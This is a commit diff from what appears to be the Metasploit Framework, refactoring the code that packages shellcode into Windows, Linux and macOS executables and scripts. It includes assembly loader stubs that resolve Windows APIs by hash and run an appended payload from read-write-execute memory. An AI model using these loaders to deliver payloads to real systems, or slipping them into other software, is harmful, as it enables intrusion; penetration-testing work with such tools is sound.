Skip to content

Commit 92d57ef

Browse files
committed
Fix merge conflict
Conflicts: msfvenom
2 parents 1a34b74 + ab976dd commit 92d57ef

File tree

6 files changed

+927
-644
lines changed

6 files changed

+927
-644
lines changed

lib/msf/util/exe.rb

Lines changed: 98 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -137,7 +137,6 @@ def self.to_executable(framework, arch, plat, code='', opts={})
137137
nil
138138
end
139139

140-
141140
def self.to_win32pe(framework, code, opts={})
142141

143142
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
@@ -366,8 +365,11 @@ def self.to_win32pe(framework, code, opts={})
366365

367366
def self.to_winpe_only(framework, code, opts={}, arch="x86")
368367

369-
# Allow the user to specify their own EXE template
368+
if arch == ARCH_X86_64
369+
arch = ARCH_X64
370+
end
370371

372+
# Allow the user to specify their own EXE template
371373
set_template_default(opts, "template_"+arch+"_windows.exe")
372374

373375
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
@@ -400,7 +402,6 @@ def self.to_winpe_only(framework, code, opts={}, arch="x86")
400402
return exe
401403
end
402404

403-
404405
def self.to_win32pe_old(framework, code, opts={})
405406

406407
payload = code.dup
@@ -469,7 +470,6 @@ def self.to_win32pe_exe_sub(framework, code, opts={})
469470
return pe
470471
end
471472

472-
473473
def self.to_win64pe(framework, code, opts={})
474474

475475
# Allow the user to specify their own EXE template
@@ -1455,7 +1455,6 @@ def self.to_jsp_war(exe, opts={})
14551455
return self.to_war(jspraw, opts)
14561456
end
14571457

1458-
14591458
# Creates a .NET DLL which loads data into memory
14601459
# at a specified location with read/execute permissions
14611460
# - the data will be loaded at: base+0x2065
@@ -1541,11 +1540,10 @@ def self.win32_rwx_exec(code)
15411540
api_call:
15421541
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
15431542
mov ebp, esp ; Create a new stack frame
1544-
xor eax, eax ; Zero EDX
1545-
mov eax, [fs:eax+48] ; Get a pointer to the PEB
1546-
mov eax, [eax+12] ; Get PEB->Ldr
1547-
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
1548-
mov edx, eax
1543+
xor edx, edx ; Zero EDX
1544+
mov edx, [fs:edx+48] ; Get a pointer to the PEB
1545+
mov edx, [edx+12] ; Get PEB->Ldr
1546+
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
15491547
next_mod: ;
15501548
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
15511549
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
@@ -1559,8 +1557,13 @@ def self.win32_rwx_exec(code)
15591557
not_lowercase: ;
15601558
ror edi, 13 ; Rotate right our hash value
15611559
add edi, eax ; Add the next byte of the name
1560+
;loop loop_modname ; Loop until we have read enough
1561+
; The random jmps added below will occasionally make this offset
1562+
; greater than will fit in a byte, so we have to use a regular jnz
1563+
; instruction which can take a full 32-bits to accomodate the
1564+
; bigger offset
15621565
dec ecx
1563-
jnz loop_modname ; Loop untill we have read enough
1566+
jnz loop_modname ; Loop until we have read enough
15641567
; We now have the module hash computed
15651568
push edx ; Save the current position in the module list for later
15661569
push edi ; Save the current module hash for later
@@ -1578,7 +1581,7 @@ def self.win32_rwx_exec(code)
15781581
add ebx, edx ; Add the modules base address
15791582
; Computing the module hash + function hash
15801583
get_next_func: ;
1581-
test ecx, ecx ; (Changed from JECXZ to work around METASM)
1584+
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
15821585
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
15831586
dec ecx ; Decrement the function name counter
15841587
mov esi, [ebx+ecx*4] ; Get rva of next module name
@@ -1621,7 +1624,7 @@ def self.win32_rwx_exec(code)
16211624
pop edi ; Pop off the current (now the previous) modules hash
16221625
pop edx ; Restore our position in the module list
16231626
mov edx, [edx] ; Get the next module
1624-
jmp next_mod ; Process this module
1627+
jmp next_mod ; Process this module
16251628
^
16261629

16271630
stub_exit = %Q^
@@ -1654,7 +1657,7 @@ def self.win32_rwx_exec(code)
16541657
pop ebp ; Pop off the address of 'api_call' for calling later.
16551658
16561659
allocate_size:
1657-
mov esi,PAYLOAD_SIZE
1660+
mov esi, #{code.length}
16581661
16591662
allocate:
16601663
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@@ -1687,10 +1690,9 @@ def self.win32_rwx_exec(code)
16871690
get_payload:
16881691
call got_payload
16891692
payload:
1690-
; Append an arbitary payload here
1693+
; Append an arbitrary payload here
16911694
^
16921695

1693-
16941696
stub_alloc.gsub!('short', '')
16951697
stub_alloc.gsub!('byte', '')
16961698

@@ -1721,10 +1723,8 @@ def self.win32_rwx_exec(code)
17211723
wrapper << stub_final
17221724

17231725
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1724-
off = enc.offset_of_reloc('PAYLOAD_SIZE')
17251726
res = enc.data + code
17261727

1727-
res[off,4] = [code.length].pack('V')
17281728
res
17291729
end
17301730

@@ -1763,12 +1763,11 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
17631763
not_lowercase: ;
17641764
ror edi, 13 ; Rotate right our hash value
17651765
add edi, eax ; Add the next byte of the name
1766-
dec ecx
1767-
jnz loop_modname ; Loop untill we have read enough
1766+
loop loop_modname ; Loop until we have read enough
17681767
; We now have the module hash computed
17691768
push edx ; Save the current position in the module list for later
17701769
push edi ; Save the current module hash for later
1771-
; Proceed to itterate the export address table,
1770+
; Proceed to iterate the export address table,
17721771
mov edx, [edx+16] ; Get this modules base address
17731772
mov eax, [edx+60] ; Get PE header
17741773
add eax, edx ; Add the modules base address
@@ -1824,7 +1823,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
18241823
pop edi ; Pop off the current (now the previous) modules hash
18251824
pop edx ; Restore our position in the module list
18261825
mov edx, [edx] ; Get the next module
1827-
jmp next_mod ; Process this module
1826+
jmp next_mod ; Process this module
18281827
^
18291828

18301829
stub_exit = %Q^
@@ -1858,7 +1857,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
18581857
pop ebp ; Pop off the address of 'api_call' for calling later.
18591858
18601859
allocate_size:
1861-
mov esi,PAYLOAD_SIZE
1860+
mov esi,#{code.length}
18621861
18631862
allocate:
18641863
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@@ -1904,7 +1903,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
19041903
get_payload:
19051904
call got_payload
19061905
payload:
1907-
; Append an arbitary payload here
1906+
; Append an arbitrary payload here
19081907
^
19091908

19101909

@@ -1946,11 +1945,9 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
19461945
wrapper << stub_final
19471946

19481947
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1949-
off = enc.offset_of_reloc('PAYLOAD_SIZE')
19501948
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
19511949
res = enc.data + code
19521950

1953-
res[off,4] = [code.length].pack('V')
19541951
if which_offset == 'start'
19551952
res[soff,4] = [block_offset - (soff + 4)].pack('V')
19561953
elsif which_offset == 'end'
@@ -1963,72 +1960,97 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
19631960

19641961

19651962
#
1966-
# This routine is shared between msfencode, rpc, and payload modules (use <payload>)
1963+
# Generate an executable of a given format suitable for running on the
1964+
# architecture/platform pair.
19671965
#
1968-
# It will return nil if it wasn't able to generate any output.
1966+
# This routine is shared between msfencode, rpc, and payload modules (use
1967+
# <payload>)
19691968
#
1969+
# @param framework [Framework]
1970+
# @param arch [String] Architecture for the target format; one of the ARCH_*
1971+
# constants
1972+
# @param plat [#index] platform
1973+
# @param code [String] The shellcode for the resulting executable to run
1974+
# @param fmt [String] One of the executable formats as defined in
1975+
# {.to_executable_fmt_formats}
1976+
# @param exeopts [Hash] Passed directly to the approrpriate method for
1977+
# generating an executable for the given +arch+/+plat+ pair.
1978+
# @return [String] An executable appropriate for the given
1979+
# architecture/platform pair.
1980+
# @return [nil] If the format is unrecognized or the arch and plat don't
1981+
# make sense together.
19701982
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
1971-
1972-
output = nil
1983+
# For backwards compatibility with the way this gets called when
1984+
# generating from Msf::Simple::Payload.generate_simple
1985+
if arch.kind_of? Array
1986+
output = nil
1987+
arch.each do |a|
1988+
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
1989+
break if output
1990+
end
1991+
return output
1992+
end
19731993

19741994
case fmt
1975-
when 'dll'
1976-
if (not arch or (arch.index(ARCH_X86)))
1977-
output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts)
1978-
end
1995+
when 'asp'
1996+
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
19791997

1980-
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
1981-
output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts)
1982-
end
1998+
when 'aspx'
1999+
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
19832000

2001+
when 'dll'
2002+
output = case arch
2003+
when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts)
2004+
when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts)
2005+
when ARCH_X64 then to_win64pe_dll(framework, code, exeopts)
2006+
end
19842007
when 'exe'
1985-
if (not arch or (arch.index(ARCH_X86)))
1986-
output = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
1987-
end
1988-
1989-
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
1990-
output = Msf::Util::EXE.to_win64pe(framework, code, exeopts)
1991-
end
2008+
output = case arch
2009+
when ARCH_X86,nil then to_win32pe(framework, code, exeopts)
2010+
when ARCH_X86_64 then to_win64pe(framework, code, exeopts)
2011+
when ARCH_X64 then to_win64pe(framework, code, exeopts)
2012+
end
19922013

19932014
when 'exe-small'
1994-
if(not arch or (arch.index(ARCH_X86)))
1995-
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
1996-
end
2015+
output = case arch
2016+
when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts)
2017+
end
19972018

19982019
when 'exe-only'
1999-
if(not arch or (arch.index(ARCH_X86)))
2000-
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts)
2001-
end
2002-
2003-
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
2004-
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64")
2005-
end
2020+
output = case arch
2021+
when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)
2022+
when ARCH_X86_64 then to_winpe_only(framework, code, exeopts, arch)
2023+
when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch)
2024+
end
20062025

20072026
when 'elf'
20082027
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
2009-
if (not arch or (arch.index(ARCH_X86)))
2010-
output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts)
2011-
elsif (arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
2012-
output = Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts)
2013-
end
2028+
output = case arch
2029+
when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts)
2030+
when ARCH_X86_64 then to_linux_x64_elf(framework, code, exeopts)
2031+
when ARCH_X64 then to_linux_x64_elf(framework, code, exeopts)
2032+
when ARCH_ARMLE then to_linux_armle_elf(framework, code, exeopts)
2033+
when ARCH_MIPSBE then to_linux_mipsbe_elf(framework, code, exeopts)
2034+
when ARCH_MIPSLE then to_linux_mipsle_elf(framework, code, exeopts)
2035+
end
20142036
elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
2015-
if (not arch or (arch.index(ARCH_X86)))
2016-
output = Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
2017-
end
2037+
output = case arch
2038+
when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
2039+
end
20182040
elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
2019-
if (not arch or (arch.index(ARCH_X86)))
2020-
output = Msf::Util::EXE.to_solaris_x86_elf(framework, code, exeopts)
2021-
end
2041+
output = case arch
2042+
when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts)
2043+
end
20222044
end
20232045

20242046
when 'macho'
2025-
if (not arch or (arch.index(ARCH_X86)))
2026-
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
2027-
end
2028-
2029-
if (arch and (arch.index(ARCH_X86_64) or arch.index(ARCH_X64)))
2030-
output = Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts)
2031-
end
2047+
output = case arch
2048+
when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
2049+
when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts)
2050+
when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts)
2051+
when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts)
2052+
when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts)
2053+
end
20322054

20332055
when 'vba'
20342056
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
@@ -2043,12 +2065,6 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
20432065
when 'loop-vbs'
20442066
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
20452067

2046-
when 'asp'
2047-
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
2048-
2049-
when 'aspx'
2050-
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
2051-
20522068
when 'war'
20532069
arch ||= [ ARCH_X86 ]
20542070
tmp_plat = plat.platforms if plat
@@ -2068,7 +2084,10 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
20682084
end
20692085

20702086
def self.to_executable_fmt_formats
2071-
['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
2087+
[
2088+
'dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe',
2089+
'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
2090+
]
20722091
end
20732092

20742093
#

msfconsole

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,7 @@ class OptsConsole
100100
options['DatabaseMigrationPaths'] ||= []
101101
options['DatabaseMigrationPaths'] << m
102102
end
103-
103+
104104
opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m|
105105
options['DatabaseEnv'] = m
106106
end

0 commit comments

Comments
 (0)